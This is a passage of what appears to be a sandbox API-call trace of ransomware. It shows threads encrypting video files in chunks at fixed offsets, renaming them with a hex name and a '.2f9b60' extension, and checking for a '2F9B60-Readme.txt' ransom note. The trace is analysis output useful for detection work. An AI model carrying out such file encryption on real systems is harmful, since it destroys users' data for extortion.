sprintf (in: _Dest=0x1b86ee76, _Format="%c%c" | out: _Dest="25") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee78, _Format="%c%c" | out: _Dest="3a") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee7a, _Format="%c%c" | out: _Dest="c1") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee7c, _Format="%c%c" | out: _Dest="12") returned 2 [0094.349] sprintf (in: _Dest=0x1b86ee7e, _Format="%c%c" | out: _Dest="af") returned 2 [0094.349] RtlInitAnsiString (in: DestinationString=0x2524fbe8, SourceString="55c9ae37189d6ad849c62e8b6d6904562954d54a8c8a5b67f2e1f10feeae4246756ad2cea081843209ab5c253ac112af" | out: DestinationString="55c9ae37189d6ad849c62e8b6d6904562954d54a8c8a5b67f2e1f10feeae4246756ad2cea081843209ab5c253ac112af") [0094.349] RtlAnsiStringToUnicodeString (in: DestinationString=0x2524fbb8, SourceString="55c9ae37189d6ad849c62e8b6d6904562954d54a8c8a5b67f2e1f10feeae4246756ad2cea081843209ab5c253ac112af", AllocateDestinationString=1 | out: DestinationString="55c9ae37189d6ad849c62e8b6d6904562954d54a8c8a5b67f2e1f10feeae4246756ad2cea081843209ab5c253ac112af") returned 0x0 [0094.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118610 [0094.350] wcscat (in: _Dest=0x1b7ad5c0, _Source="55c9ae37189d6ad849c62e8b" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b" [0094.350] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b.2f9b60" [0094.350] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b.2f9b60", NtPathName=0x2524fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\55c9ae37189d6ad849c62e8b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce11600 [0094.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.357] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2524fbf8, FileInformation=0x2524fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2524fbf8, FileInformation=0x2524fc08) returned 0x0 [0094.357] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2524fbf8, FileInformation=0x2524fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0094.359] FlushFileBuffers (hFile=0xd90) returned 1 [0094.360] CloseHandle (hObject=0xd90) returned 1 [0094.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.362] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.362] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.362] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784490) returned 1 Thread: id = 562 os_tid = 0xe8c [0094.370] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AW DI9EKA_ipqs I.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aw di9eka_ipqs i.mkv")) returned 0x20 [0094.371] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AW DI9EKA_ipqs I.mkv", dwFileAttributes=0x20) returned 1 [0094.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\AW DI9EKA_ipqs I.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\aw di9eka_ipqs i.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.371] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2540fac0 | out: lpFileSize=0x2540fac0*=94751) returned 1 [0094.371] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x1721b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.371] ReadFile (in: hFile=0xd90, lpBuffer=0x2540fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2540fa88, lpOverlapped=0x0 | out: lpBuffer=0x2540fa40*, lpNumberOfBytesRead=0x2540fa88*=0x4, lpOverlapped=0x0) returned 1 [0094.372] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.373] NtQuerySystemTime (in: CurrentTime=0x2540f980 | out: CurrentTime=0x2540f980*=132462177002062000) returned 0x0 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2babe99a [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2867f3a6 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x67e222e7 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x560f6a5b [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x70bad4e8 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x3babeb9c [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2cd01279 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x1ca0ecf6 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x6de992e9 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2b26884b [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x61ed7b83 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2f4f62e3 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x6067296 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x2a10e7da [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x577fcaf6 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x5903ba6b [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x5c4e23d9 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x44958934 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x595eb33b [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x1cf4d749 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x204ad969 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0xee4d874 [0094.373] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0xc2d51b7 [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x285464e2 [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x1a0bed40 [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x5b41f59b [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x3855e97c [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x42e7fe9d [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x66838320 [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x699871a2 [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x64e536ef [0094.374] RtlRandomEx (in: Seed=0x2540f970 | out: Seed=0x2540f970) returned 0x5eca6805 [0094.383] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.383] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.383] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc40) returned 1 [0094.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.384] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.386] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.386] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.386] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.387] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.388] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x1361f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.388] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.388] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x1361f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.389] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2540f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2540f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ee90 [0094.390] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.390] WriteFile (in: hFile=0xd90, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x2540fa90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2540fa90*=0x15a, lpOverlapped=0x0) returned 1 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0094.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85fbe0 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0094.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0094.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd9c6d0 [0094.392] sprintf (in: _Dest=0x1cd9c6d0, _Format="%c%c" | out: _Dest="0f") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6d2, _Format="%c%c" | out: _Dest="9d") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6d4, _Format="%c%c" | out: _Dest="bd") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6d6, _Format="%c%c" | out: _Dest="cf") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6d8, _Format="%c%c" | out: _Dest="5e") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6da, _Format="%c%c" | out: _Dest="86") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6dc, _Format="%c%c" | out: _Dest="12") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6de, _Format="%c%c" | out: _Dest="d1") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6e0, _Format="%c%c" | out: _Dest="a0") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6e2, _Format="%c%c" | out: _Dest="c7") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6e4, _Format="%c%c" | out: _Dest="c6") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6e6, _Format="%c%c" | out: _Dest="13") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6e8, _Format="%c%c" | out: _Dest="ef") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6ea, _Format="%c%c" | out: _Dest="3e") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6ec, _Format="%c%c" | out: _Dest="65") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6ee, _Format="%c%c" | out: _Dest="6b") returned 2 [0094.393] sprintf (in: _Dest=0x1cd9c6f0, _Format="%c%c" | out: _Dest="78") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6f2, _Format="%c%c" | out: _Dest="11") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6f4, _Format="%c%c" | out: _Dest="4b") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6f6, _Format="%c%c" | out: _Dest="1b") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6f8, _Format="%c%c" | out: _Dest="18") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6fa, _Format="%c%c" | out: _Dest="1d") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6fc, _Format="%c%c" | out: _Dest="aa") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c6fe, _Format="%c%c" | out: _Dest="7d") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c700, _Format="%c%c" | out: _Dest="ff") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c702, _Format="%c%c" | out: _Dest="49") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c704, _Format="%c%c" | out: _Dest="45") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c706, _Format="%c%c" | out: _Dest="53") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c708, _Format="%c%c" | out: _Dest="c7") returned 2 [0094.394] sprintf (in: _Dest=0x1cd9c70a, _Format="%c%c" | out: _Dest="77") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c70c, _Format="%c%c" | out: _Dest="d1") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c70e, _Format="%c%c" | out: _Dest="32") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c710, _Format="%c%c" | out: _Dest="0a") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c712, _Format="%c%c" | out: _Dest="e7") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c714, _Format="%c%c" | out: _Dest="41") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c716, _Format="%c%c" | out: _Dest="01") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c718, _Format="%c%c" | out: _Dest="43") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c71a, _Format="%c%c" | out: _Dest="d3") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c71c, _Format="%c%c" | out: _Dest="ff") returned 2 [0094.395] sprintf (in: _Dest=0x1cd9c71e, _Format="%c%c" | out: _Dest="d7") returned 2 [0094.395] RtlInitAnsiString (in: DestinationString=0x2540fb08, SourceString="0f9dbdcf5e8612d1a0c7c613ef3e656b78114b1b181daa7dff494553c777d1320ae7410143d3ffd7" | out: DestinationString="0f9dbdcf5e8612d1a0c7c613ef3e656b78114b1b181daa7dff494553c777d1320ae7410143d3ffd7") [0094.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x2540fad8, SourceString="0f9dbdcf5e8612d1a0c7c613ef3e656b78114b1b181daa7dff494553c777d1320ae7410143d3ffd7", AllocateDestinationString=1 | out: DestinationString="0f9dbdcf5e8612d1a0c7c613ef3e656b78114b1b181daa7dff494553c777d1320ae7410143d3ffd7") returned 0x0 [0094.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce114a0 [0094.396] wcscat (in: _Dest=0x1b784490, _Source="0f9dbdcf5e8612d1a0c7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7" [0094.396] wcscat (in: _Dest=0x1b784490, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7.2f9b60" [0094.396] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7.2f9b60", NtPathName=0x2540fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0f9dbdcf5e8612d1a0c7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11600 [0094.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.398] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x2540fb18, FileInformation=0x2540fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2540fb18, FileInformation=0x2540fb28) returned 0x0 [0094.398] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x2540fb18, FileInformation=0x2540fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784490) returned 1 [0094.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0094.400] FlushFileBuffers (hFile=0xd90) returned 1 [0094.401] CloseHandle (hObject=0xd90) returned 1 [0094.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0094.403] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.403] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.403] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0094.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 Thread: id = 563 os_tid = 0xe90 [0094.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DEjXXuKcKsRHhExD0Ys.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dejxxukcksrhhexd0ys.flv")) returned 0x20 [0094.406] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DEjXXuKcKsRHhExD0Ys.flv", dwFileAttributes=0x20) returned 1 [0094.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DEjXXuKcKsRHhExD0Ys.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dejxxukcksrhhexd0ys.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.407] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2549fc40 | out: lpFileSize=0x2549fc40*=17147) returned 1 [0094.407] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x42f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.407] ReadFile (in: hFile=0xd90, lpBuffer=0x2549fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2549fc08, lpOverlapped=0x0 | out: lpBuffer=0x2549fbc0*, lpNumberOfBytesRead=0x2549fc08*=0x4, lpOverlapped=0x0) returned 1 [0094.408] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.408] NtQuerySystemTime (in: CurrentTime=0x2549fb00 | out: CurrentTime=0x2549fb00*=132462177002374000) returned 0x0 [0094.408] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x2f49c612 [0094.408] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x3f1e1c42 [0094.408] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 0x7dc26c28 [0094.408] RtlRandomEx (in: Seed=0x2549faf0 | out: Seed=0x2549faf0) returned 